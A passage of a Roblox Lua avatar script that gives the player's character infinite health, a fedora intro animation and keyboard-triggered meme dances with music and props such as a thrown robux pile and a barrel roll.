v.ClassName == "Pants" or v.ClassName == "Hat" or v.ClassName == "CharacterMesh" or v.ClassName == "Shirt Graphic" then v:Remove() end end coroutine.wrap(function() while wait() do Head.face.Texture = "rbxasset://textures/face.png" hum.WalkSpeed = ws LeftArm.BrickColor = BrickColor.new("Really black") RightArm.BrickColor = BrickColor.new("Really black") Head.BrickColor = BrickColor.new("White") Torso.BrickColor = BrickColor.new("Really black") LeftLeg.BrickColor = BrickColor.new("Really black") RightLeg.BrickColor = BrickColor.new("Really black") end end)() godmode = coroutine.wrap(function() for i,v in pairs(Character:GetChildren()) do if v:IsA("BasePart") and v ~= Root then v.Anchored = false end end while true do hum.MaxHealth = math.huge wait(0.0000001) hum.Health = math.huge wait() end end) godmode() ff = Instance.new("ForceField", Character) ff.Visible = false coroutine.wrap(function() for i,v in pairs(Character:GetChildren()) do if v.Name == "Animate" then v:Remove() end end end)() function damagealll(Radius,Position) local Returning = {} for _,v in pairs(workspace:GetChildren()) do if v~=Character and v:FindFirstChildOfClass('Humanoid') and v:FindFirstChild('Torso') or v:FindFirstChild('UpperTorso') then if v:FindFirstChild("Torso") then local Mag = (v.Torso.Position - Position).magnitude if Mag < Radius then table.insert(Returning,v) end elseif v:FindFirstChild("UpperTorso") then local Mag = (v.UpperTorso.Position - Position).magnitude if Mag < Radius then table.insert(Returning,v) end end end end return Returning end ArtificialHB = Instance.new("BindableEvent", script) ArtificialHB.Name = "Heartbeat" script:WaitForChild("Heartbeat") frame = 1 / 60 tf = 0 allowframeloss = false tossremainder = false lastframe = tick() script.Heartbeat:Fire() game:GetService("RunService").Heartbeat:connect(function(s, p) tf = tf + s if tf >= frame then if allowframeloss then script.Heartbeat:Fire() lastframe = tick() else for i = 1, math.floor(tf / frame) do script.Heartbeat:Fire() end lastframe = tick() end if tossremainder then tf = 0 else tf = tf - frame * math.floor(tf / frame) end end end) function swait(num) if num == 0 or num == nil then game:service("RunService").Stepped:wait(0) else for i = 0, num do game:service("RunService").Stepped:wait(0) end end end for _,n in pairs(Character:GetChildren()) do if n:IsA("Accessory") then end end for _,x in pairs(Character:GetChildren()) do if x:IsA("Decal") then x:Remove() end end intro = true ws = 0 bigfedora = Instance.new("Part",Character) bigfedora.Size = Vector3.new(2,2,2) bigfedora.CFrame = bigfedora.CFrame:inverse() * Root.CFrame * CFrame.new(math.random(-60,60),-.2,math.random(-60,60)) * CFrame.Angles(0,math.rad(math.random(-180,180)),0) bigfedora.CanCollide = false bigfedora.Anchored = true bigfedora.Name = "mbigf" mbigfedora = Instance.new("SpecialMesh", bigfedora) mbigfedora.MeshType = "FileMesh" mbigfedora.Scale = Vector3.new(6, 7, 7) mbigfedora.MeshId,mbigfedora.TextureId = 'http://www.roblox.com/asset/?id=13640868','http://www.roblox.com/asset/?id=18987684' for i,v in pairs(Character:GetDescendants()) do if v:IsA("Part") and v.Name ~= "mbigf" then v.Transparency = 1 end end for i = 1, 60 do bigfedora.CFrame = bigfedora.CFrame:lerp(CFrame.new(Root.Position) * CFrame.new(0,-.1,0) * CFrame.Angles(math.rad(0),math.rad(0),math.rad(0)),.09) swait() end wait(.25) for i,v in pairs(Character:GetDescendants()) do if v:IsA("Part") and v.Name ~= "mbigf" and v.Name ~= "HumanoidRootPart" then v.Transparency = 0 end end for i = 1, 50 do bigfedora.CFrame = bigfedora.CFrame:lerp(CFrame.new(fedora.Position),.05) swait() end zmc = 0 for i = 1, 29 do zmc = zmc + 2 mbigfedora.Scale = mbigfedora.Scale - Vector3.new(.25,.25,.25) bigfedora.CFrame = bigfedora.CFrame * CFrame.Angles(math.rad(0),math.rad(zmc),0) swait() end bigfedora:Remove() ws = 14 function SOUND(PARENT,ID,VOL,LOOP,REMOVE) so = Instance.new("Sound") so.Parent = PARENT so.SoundId = "rbxassetid://"..ID so.Volume = VOL so.Looped = LOOP so:Play() removeuseless:AddItem(so,REMOVE) end mouse.KeyDown:connect(function(Press) Press=Press:lower() if Press=='k' then if dancing then dancing = false else dancing = true ws = 0 change = .5 attacking = true jam = Instance.new("Sound",Torso) jam.SoundId = "rbxassetid://665751753" jam.Volume = 8 jam.Looped = true jam.TimePosition = 22.3 jam:Play() lol90 = 0 coroutine.wrap(function() while dancing do lol90 = lol90 + 11 ROOTLERP.C0 = ROOTLERP.C0:Lerp(CFrame.new(1 * math.sin(sine/10),.1 + .8 * math.sin(sine/3),0) * CFrame.Angles(math.rad(0),math.rad(0 * math.sin(sine/8)),math.rad(8 * math.sin(sine/7))),.25) ROOTLERP.C1 = ROOTLERP.C1:lerp(CFrame.new(0 * math.sin(sine/14),0,0) * CFrame.Angles(math.rad(0),math.rad(lol90),0),.25) LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(1.4,1.45,0) * CFrame.Angles(math.rad(180),math.rad(-5 * math.sin(sine/3)),math.rad(-6 * math.sin(sine/3))),0.25) RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-1.4,1.45,0) * CFrame.Angles(math.rad(180),math.rad(5 * math.sin(sine/3)),math.rad(6 * math.sin(sine/3))), 0.25) RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.3, 2 , 0) * CFrame.Angles(0, math.rad(0), math.rad(-10 + 5 * math.sin(sine/3))), 0.25) LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.3, 2.0, 0) * CFrame.Angles(0, math.rad(0), math.rad(10 - 5 * math.sin(sine/3))), 0.25) swait() end ws = 14 jam:Remove() ROOTLERP.C1 = CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),math.rad(0),math.rad(0)) attacking = false end)() end end end) mouse.KeyDown:connect(function(Press) Press=Press:lower() if Press=='j' then if dancing then dancing = false else dancing = true ws = 3 change = .5 attacking = true g1 = Instance.new("BodyGyro", Root) g1.D = 175 g1.P = 20000 g1.MaxTorque = Vector3.new(0,9000,0) herecomesthemoney = Instance.new("Sound",Torso) herecomesthemoney.Pitch = 1 herecomesthemoney.SoundId = "rbxassetid://2426693638" herecomesthemoney.Volume = 8 herecomesthemoney.Looped = true herecomesthemoney:Play() robuxpile = Instance.new("Part",Torso) robuxpile.Size = Vector3.new(1,1,1) robuxpile.CFrame = LeftArm.CFrame robuxpile.CanCollide = false robuxpileweld = Instance.new("Weld",robuxpile) robuxpileweld.Part0 = robuxpile robuxpileweld.Part1 = Torso robuxpileweld.C0 = robuxpile.CFrame:inverse() * LeftArm.CFrame * CFrame.new(1,-.7,1.4) mrobuxpile = Instance.new("SpecialMesh", robuxpile) mrobuxpile.MeshType = "FileMesh" mrobuxpile.Scale = Vector3.new(0.85, .85, .85) mrobuxpile.MeshId,mrobuxpile.TextureId = 'http://www.roblox.com/asset/?id=1285245','http://www.roblox.com/asset/?id=8587344' coroutine.wrap(function() coroutine.wrap(function() while wait(.35) do if not dancing then break end local robux = Instance.new("Part",Torso) robux.CFrame = robuxpile.CFrame * CFrame.Angles(math.rad(0),math.rad(90),math.rad(90)) robux.Anchored = false robux.CanCollide = true robux.Size = Vector3.new(1,1,1) removeuseless:AddItem(robux,4) mrobux = Instance.new("SpecialMesh", robux) mrobux.MeshType = "FileMesh" mrobux.Scale = Vector3.new(1.25, 1.25, 1.25) mrobux.MeshId,mrobux.TextureId = 'http://www.roblox.com/asset/?id=667285348','http://www.roblox.com/asset/?id=665939136' bov = Instance.new("BodyVelocity",robux) bov.maxForce = Vector3.new(99999,99999,99999) robux.CFrame = CFrame.new(robux.Position,mouse.Hit.p) bov.velocity = robux.CFrame.lookVector*45 removeuseless:AddItem(bov,.1) end end)() while dancing do g1.CFrame = g1.CFrame:lerp(CFrame.new(Root.Position,mouse.Hit.p),.4) ROOTLERP.C0 = ROOTLERP.C0:Lerp(CFrame.new(0,-.3,0) * CFrame.Angles(math.rad(20),math.rad(0 * math.sin(sine/8)),math.rad(0)),.25) LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(1,.5 + .5 * math.sin(sine/2),.5) * CFrame.Angles(math.rad(-97),math.rad(40 - 20 * math.sin(sine/2)),math.rad(0)), 0.25) RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-1,.5,.5) * CFrame.Angles(math.rad(-87),math.rad(-20),math.rad(0)), 0.25) RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.3, 2 , .5) * CFrame.Angles(math.rad(20), math.rad(0), math.rad(-10)), 0.25) LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.3, 2.0, .5) * CFrame.Angles(math.rad(20), math.rad(0), math.rad(10)), 0.25) swait() end ws = 14 removeuseless:AddItem(g1,.001) robuxpile:Remove() attacking = false end)() end end end) mouse.KeyDown:connect(function(Press) Press=Press:lower() if Press=='h' then if dancing then dancing = false else dancing = true ws = 0 change = .5 attacking = true jellyfishjam = Instance.new("Sound",Torso) jellyfishjam.SoundId = "rbxassetid://840189092" jellyfishjam.Volume = 8 jellyfishjam.Looped = true jellyfishjam.TimePosition = 14.8 jellyfishjam:Play() coroutine.wrap(function() while dancing do for i = 1, 15 do if not dancing then break end ROOTLERP.C0 = ROOTLERP.C0:Lerp(CFrame.new(.5,-.4 + .1 * math.sin(sine/4),0) * CFrame.Angles(math.rad(0),math.rad(20 * math.sin(sine/8)),math.rad(20)),.25) RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-.9,.65 + .4 * math.sin(sine/12),1.2) * CFrame.Angles(math.rad(-35 - 15 * math.sin(sine/12)),math.rad(50 + 3 * math.sin(sine/12)),math.rad(3 - 1 * math.sin(sine/12))),.3) LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(.9,.65 + .4 * math.sin(sine/12),1.2) * CFrame.Angles(math.rad(-35 - 15 * math.sin(sine/12)),math.rad(-50 - 3 * math.sin(sine/12)),math.rad(-3 + 1 * math.sin(sine/12))), .3) RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(0.25, 2.05,-0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(-35)), 0.25) LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.31, 2.05,-0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(14)), 0.25) swait() end for i = 1, 15 do if not dancing then break end ROOTLERP.C0 = ROOTLERP.C0:Lerp(CFrame.new(0,-.1 * math.sin(sine/4),0) * CFrame.Angles(math.rad(0),math.rad(20 * math.sin(sine/8)),math.rad(0)),.25) RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-.9,.65 + .4 * math.sin(sine/12),1.2) * CFrame.Angles(math.rad(-35 - 15 * math.sin(sine/12)),math.rad(50 + 3 * math.sin(sine/12)),math.rad(3 - 1 * math.sin(sine/12))),.3) LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(.9,.65 + .4 * math.sin(sine/12),1.2) * CFrame.Angles(math.rad(-35 - 15 * math.sin(sine/12)),math.rad(-50 - 3 * math.sin(sine/12)),math.rad(-3 + 1 * math.sin(sine/12))), .3) RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.25, .7,1.5) * CFrame.Angles(math.rad(72), math.rad(25), math.rad(-2)), 0.25) LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.3, 2.0, 0) * CFrame.Angles(0, math.rad(0), math.rad(10)), 0.25) swait() end for i = 1, 15 do if not dancing then break end ROOTLERP.C0 = ROOTLERP.C0:Lerp(CFrame.new(-.5,-.4 + .1 * math.sin(sine/4),0) * CFrame.Angles(math.rad(0),math.rad(20 * math.sin(sine/8)),math.rad(-20)),.25) RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-.9,.65 + .4 * math.sin(sine/12),1.2) * CFrame.Angles(math.rad(-35 - 15 * math.sin(sine/12)),math.rad(50 + 3 * math.sin(sine/12)),math.rad(3 - 1 * math.sin(sine/12))),.3) LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(.9,.65 + .4 * math.sin(sine/12),1.2) * CFrame.Angles(math.rad(-35 - 15 * math.sin(sine/12)),math.rad(-50 - 3 * math.sin(sine/12)),math.rad(-3 + 1 * math.sin(sine/12))), .3) RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.3, 2 , 0) * CFrame.Angles(0, math.rad(0), math.rad(-10)), 0.25) LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(-0.25, 2.05,0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(35)), 0.25) swait() end for i = 1, 15 do if not dancing then break end ROOTLERP.C0 = ROOTLERP.C0:Lerp(CFrame.new(-.5,-.1,0) * CFrame.Angles(math.rad(0),math.rad(20 * math.sin(sine/8)),math.rad(0)),.25) RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-.9,.65 + .4 * math.sin(sine/12),1.2) * CFrame.Angles(math.rad(-35 - 15 * math.sin(sine/12)),math.rad(50 + 3 * math.sin(sine/12)),math.rad(3 - 1 * math.sin(sine/12))),.3) LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(.9,.65 + .4 * math.sin(sine/12),1.2) * CFrame.Angles(math.rad(-35 - 15 * math.sin(sine/12)),math.rad(-50 - 3 * math.sin(sine/12)),math.rad(-3 + 1 * math.sin(sine/12))), .3) RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.31, 2.05,0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(-14)), 0.3) LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.25, .7,1.5) * CFrame.Angles(math.rad(72), math.rad(-25), math.rad(-2)), 0.25) swait() end swait() end ws = 14 attacking = false end)() end end end) mouse.KeyDown:connect(function(Press) Press=Press:lower() if Press=='g' then if dancing then dancing = false else dancing = true ws = 0 change = .5 attacking = true deadmau7 = Instance.new("Sound",Torso) deadmau7.SoundId = "rbxassetid://168166611" deadmau7.Volume = 8 deadmau7.Looped = true deadmau7:Play() coroutine.wrap(function() coroutine.wrap(function() while dancing do ROOTLERP.C0 = ROOTLERP.C0:Lerp(CFrame.new(2 * math.sin(sine/9),-.4 + .1 * math.sin(sine/3),0) * CFrame.Angles(math.rad(0),math.rad(20 * math.sin(sine/9)),0),.25) swait() end end)() while dancing do for i = 1, 28 do if not dancing then break end RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-.9,.65 + .4 * math.sin(sine/12),1.2) * CFrame.Angles(math.rad(-35 - 15 * math.sin(sine/12)),math.rad(50 + 3 * math.sin(sine/12)),math.rad(3 - 1 * math.sin(sine/12))),.2) LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(1.2,1.5,0) * CFrame.Angles(math.rad(180 - 7 * math.sin(sine/3)),math.rad(7 * math.sin(sine/3)),math.rad(7*math.sin(sine/3))), 0.2) RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.5, .7,1) * CFrame.Angles(math.rad(75 - 10 * math.sin(sine/2)), math.rad(0), math.rad(0)), 0.25) LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.31, 2.05,-.1) * CFrame.Angles(math.rad(10), math.rad(0), math.rad(-2)), 0.3) swait() end for i = 1, 28 do if not dancing then break end RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-.9,.65 + .4 * math.sin(sine/12),1.2) * CFrame.Angles(math.rad(-35 - 15 * math.sin(sine/12)),math.rad(50 + 3 * math.sin(sine/12)),math.rad(3 - 1 * math.sin(sine/12))),.2) LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(1.2,1.5,0) * CFrame.Angles(math.rad(180 - 7 * math.sin(sine/3)),math.rad(7 * math.sin(sine/3)),math.rad(7*math.sin(sine/3))), 0.2) RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.31, 2.05,.1) * CFrame.Angles(math.rad(-10), math.rad(0), math.rad(-8)), 0.25) LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.5, .7,1.1) * CFrame.Angles(math.rad(75 - 10 * math.sin(sine/2)), math.rad(0), math.rad(-2)), 0.25) swait() end swait() end ws = 14 deadmau7:Remove() attacking = false end)() end end end) mouse.KeyDown:connect(function(Press) Press=Press:lower() if Press=='f' then if dancing then dancing = false else dancing = true ws = 6 change = .5 attacking = true bennyhill = Instance.new("Sound",Torso) bennyhill.SoundId = "rbxassetid://138211362" bennyhill.Volume = 8 bennyhill.Looped = true bennyhill:Play() coroutine.wrap(function() while dancing do ROOTLERP.C0 = ROOTLERP.C0:Lerp(CFrame.new(0,-.4,0) * CFrame.Angles(math.rad(20 + 5 * math.sin(sine/2)),math.rad(10 * math.sin(sine/4)),0),.25) RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-1.5,.89 - .4 * -math.sin(sine/2),.49) * CFrame.Angles(math.rad(-70 + 20 * -math.sin(sine/2)),0,math.rad(0)),.25) LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(1.5,.89 - .4 * math.sin(sine/2),.49) * CFrame.Angles(math.rad(-70 + 20 * math.sin(sine/2)),0,math.rad(0)),.25) RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.33, 2, -.2 + .3 * math.sin(sine/2)) * CFrame.Angles(math.rad(-20 - 20 * -math.sin(sine/2)), math.rad(0), math.rad(-8)), 0.25) LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.33, 2.0,-.2 - .3 * math.sin(sine/2)) * CFrame.Angles(math.rad(-20 - 20 * math.sin(sine/2)), math.rad(0), math.rad(8)), 0.25) swait() end ws = 14 bennyhill:Remove() attacking = false end)() end end end) mouse.KeyDown:connect(function(Press) Press=Press:lower() if Press=='p' then if dancing then dancing = false else dancing = true ws = 0 change = .5 attacking = true barrelspin = 0 barrelrollsound = Instance.new("Sound",Torso) barrelrollsound.SoundId = "rbxassetid://505320170" barrelrollsound.Volume = 8 barrelrollsound.Looped = true barrelrollsound:Play() barrol = Instance.new("Part",Torso) barrol.Size = Vector3.new(1,1,1) barrol.CFrame = Torso.CFrame barrol.CanCollide = false barrolweld = Instance.new("Weld",barrol) barrolweld.Part0 = barrol barrolweld.Part1 = Torso barrolweld.C0 = barrol.CFrame:inverse() * Torso.CFrame * CFrame.new(0,0,0) mbarrol = Instance.new("SpecialMesh", barrol) mbarrol.MeshType = "FileMesh" mbarrol.Scale = Vector3.new(1.05, .95, 1.05) mbarrol.MeshId,mbarrol.TextureId = 'http://www.roblox.com/asset/?id=29873142','http://www.roblox.com/asset/?id=31082268' coroutine.wrap(function() while dancing do ROOTLERP.C0 = ROOTLERP.C0:Lerp(CFrame.new(5 * math.sin(sine/8),-1.8,0) * CFrame.Angles(math.rad(-90),math.rad(180 * math.sin(sine/8)),0),.25) RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-1.5,1.5,0) * CFrame.Angles(math.rad(180),0,math.rad(0)),.25) LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(1.5,1.5,0) * CFrame.Angles(math.rad(180),0,math.rad(0)),.25) LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(.5,2,0) * CFrame.Angles(0,0,0),.25) RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-.5,2,0) * CFrame.Angles(0,0,0),.25) swait() end ws = 14 barrol:Remove() attacking = false end)() end end end) mouse.KeyDown:connect(function(Press) Press=Press:lower() if Press=='q' then if dancing then dancing = false else dancing = true ws = 0 change = .5 spinningmove = 0 dbwouldlovethis = Instance.new("Sound",Torso) dbwouldlovethis.SoundId = "rbxassetid://1532157598" dbwouldlovethis.Volume = 8 dbwouldlovethis.Looped = true dbwouldlovethis:Play() attacking = true coroutine.wrap(function() while dancing do spinningmove = spinningmove + 10 RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.52, 1.9, -.35) * CFrame.Angles(math.rad(-30), math.rad(0), math.rad(0)),.2) LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.52, 1.9, .35) * CFrame.Angles(math.rad(30), math.rad(0), math.rad(0)),.2) ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(.2 * math.sin(sine/3), -.52, .2 * math.sin(sine/4)) * CFrame.Angles(math.rad(180),math.rad(spinningmove),math.rad(15 * math.sin(sine/9))),.2) LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(1.4,1.45,0) * CFrame.Angles(math.rad(180),math.rad(-1),math.rad(-3 * math.sin(sine/2))),0.3) RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-1.4,1.45,0) * CFrame.Angles(math.rad(180),math.rad(1),math.rad(3 * math.sin(sine/2))), 0.3) swait() end ws = 14 dbwouldlovethis:Remove() attacking = false end)() end end end) mouse.KeyDown:connect(function(Press) Press=Press:lower() if Press=='u' then if dancing then dancing = false else dancing = true ws = 6 change = .5 attacking = true slavdance = Instance.new("Sound",Torso) slavdance.SoundId = "rbxassetid://2341226836" slavdance.Volume = 6 slavdance.Looped = true slavdance:Play() coroutine.wrap(function() while dancing do for i = 1, 17 do if not dancing then break end RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.52, 1.5, -.5) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0)),.2) LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.52, 1.2, .55) * CFrame.Angles(math.rad(30), math.rad(0), math.rad(0)),.2) ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0, -.8 + .1 * math.sin(sine/3), 0) * CFrame.Angles(math.rad(22 - 2 * math.sin(sine/3)),math.rad(0),math.rad(0)),.2) LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(1,-.2,.4) * CFrame.Angles(math.rad(-87 + .01 * math.sin(sine/9)),math.rad(80 - 3 * math.sin(sine/9)),math.rad(0)), 0.3) RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-.7,-.2,.4) * CFrame.Angles(math.rad(-87 - .01 * math.sin(sine/9)),math.rad(-88 + .7 * math.sin(sine/9)),math.rad(0)), 0.3) swait() end for i = 1, 17 do if not dancing then break end RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.52, 1.2, .55) * CFrame.Angles(math.rad(30), math.rad(0), math.rad(0)),.2) LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.52, 1.5, -.5) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0)),.2) ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0, -.8 + .1 * math.sin(sine/3), 0) * CFrame.Angles(math.rad(22 - 2 * math.sin(sine/3)),math.rad(0),math.rad(0)),.2) LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(1,-.2,.4) * CFrame.Angles(math.rad(-87 + .01 * math.sin(sine/9)),math.rad(80 - 3 * math.sin(sine/9)),math.rad(0)), 0.3) RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-.7,-.2,.4) * CFrame.Angles(math.rad(-87 - .01 * math.sin(sine/9)),math.rad(-88 + .7 * math.sin(sine/9)),math.rad(0)), 0.3) swait() end swait() end ws = 14 slavdance:Remove() attacking = false end)() end end end) mouse.KeyDown:connect(function(Press) Press=Press:lower() if Press=='y' then if dancing then dancing = false else dancing = true ws = 0 change = .5 walkforward = 0 walkrotation = 0 attacking = true truelegend = Instance.new("Sound",Torso) truelegend.SoundId = "rbxassetid://487872908" truelegend.TimePosition = 13.98 truelegend.Volume = 8 truelegend.Looped = true truelegend:Play() coroutine.wrap(function() while dancing do for i = 1, 100 do if not dancing then break end walkforward = walkforward + .1 RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.31, 2.05 , .1 * math.sin(sine/4)) * CFrame.Angles(math.rad(10 * math.sin(sine/4)), math.rad(0), math.rad(-8)), 0.3) LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.31, 2.05, -.15 * math.sin(sine/4)) * CFrame.Angles(math.rad(-10 * math.sin(sine/4)), math.rad(0), math.rad(8)), 0.3) ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0, -.2, walkforward) * CFrame.Angles(math.rad(0),math.rad(0),math.rad(0)),.2) RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-1.5,0,0) * CFrame.Angles(0,0,math.rad(0)),.3) LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(1.5,0,0) * CFrame.Angles(0,0,math.rad(0)),.3) swait() end for i = 1, 50 do if not dancing then break end walkrotation = walkrotation + 15 ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0, -.2, walkforward) * CFrame.Angles(math.rad(0),math.rad(walkrotation),math.rad(-0)),.2) swait() end walkrotation = 0 for i = 1, 100 do if not dancing then break end walkforward = walkforward - .1 RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.31, 2 , .1 * math.sin(sine/4)) * CFrame.Angles(math.rad(10 * math.sin(sine/4)), math.rad(0), math.rad(-8)), 0.3) LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.31, 2, -.15 * math.sin(sine/4)) * CFrame.Angles(math.rad(-10 * math.sin(sine/4)), math.rad(0), math.rad(8)), 0.3) ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0, -.2, walkforward) * CFrame.Angles(math.rad(0),math.rad(-180),math.rad(-0)),.2) RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-1.3,.7,.2) * CFrame.Angles(math.rad(220),math.rad(0),math.rad(-30)), 0.4) LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(1.5,0,0) * CFrame.Angles(0,0,math.rad(0)),.3) swait() end for i = 1, 50 do if not dancing then break end walkrotation = walkrotation + 15 RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-1.5,0,0) * CFrame.Angles(0,0,math.rad(0)),.1) ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0, -.2, walkforward) * CFrame.Angles(math.rad(0),math.rad(walkrotation),math.rad(-0)),.2) swait() end walkrotation = 0 swait() end ws = 14 truelegend:Remove() attacking = false end)() end end end) mouse.KeyDown:connect(function(Press) Press=Press:lower() if Press=='t' then if dancing then dancing = false else dancing = true ws = 0 change = .5 attacking = true plummusic = Instance.new("Sound",Torso) plummusic.Volume = 8 plummusic.Looped = true plummusic.SoundId = "rbxassetid://2526093213" plummusic:Play() coroutine.wrap(function() while dancing do for i = 1, 20 do if not dancing then break end RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.33, 2 , .05) * CFrame.Angles(math.rad(3), math.rad(0), math.rad(-8)), 0.2) LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.33, 2.0, -.05) * CFrame.Angles(math.rad(-3), math.rad(0), math.rad(8)), 0.2) ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0, -.2, 0) * CFrame.Angles(math.rad(0),math.rad(0*math.sin(sine/4)),math.rad(15)),.2) RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(.5,1.98,.05) * CFrame.Angles(0,0,math.rad(-140)),.2) LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(1,1.3,.05) * CFrame.Angles(0,0,math.rad(50)),.2) swait() end for i = 1, 20 do if not dancing then break end RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.33, 2, .05) * CFrame.Angles(math.rad(3), math.rad(0), math.rad(-8)), 0.2) LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.33, 2.0, -.05) * CFrame.Angles(math.rad(-3), math.rad(0), math.rad(8)), 0.2) ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0, -.2, 0) * CFrame.Angles(math.rad(0),math.rad(0*math.sin(sine/4)),math.rad(-15)),.2) RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-1,1.4,.05) * CFrame.Angles(0,0,math.rad(-50)),.2) LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(-.6,2,.05) * CFrame.Angles(0,0,math.rad(140)),.2) swait() end swait() end ws = 14 plummusic:Remove() attacking = false end)() end end end) mouse.KeyDown:connect(function(Press) Press=Press:lower() if Press=='e' then if dancing then dancing = false else dancing = true ws = 0 change = .5 attacking = true mrozo = Instance.new("Sound",Torso) mrozo.Volume = 8 mrozo.SoundId = "rbxassetid://335701357" mrozo.Looped = true mrozo.TimePosition = 10 mrozo:Play() coroutine.wrap(function() while dancing do RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.3, 2 , 0) * CFrame.Angles(0, math.rad(0), math.rad(-10)), 0.1) LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.3, 2.0, 0) * CFrame.Angles(0, math.rad(0), math.rad(10)), 0.1) ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0, 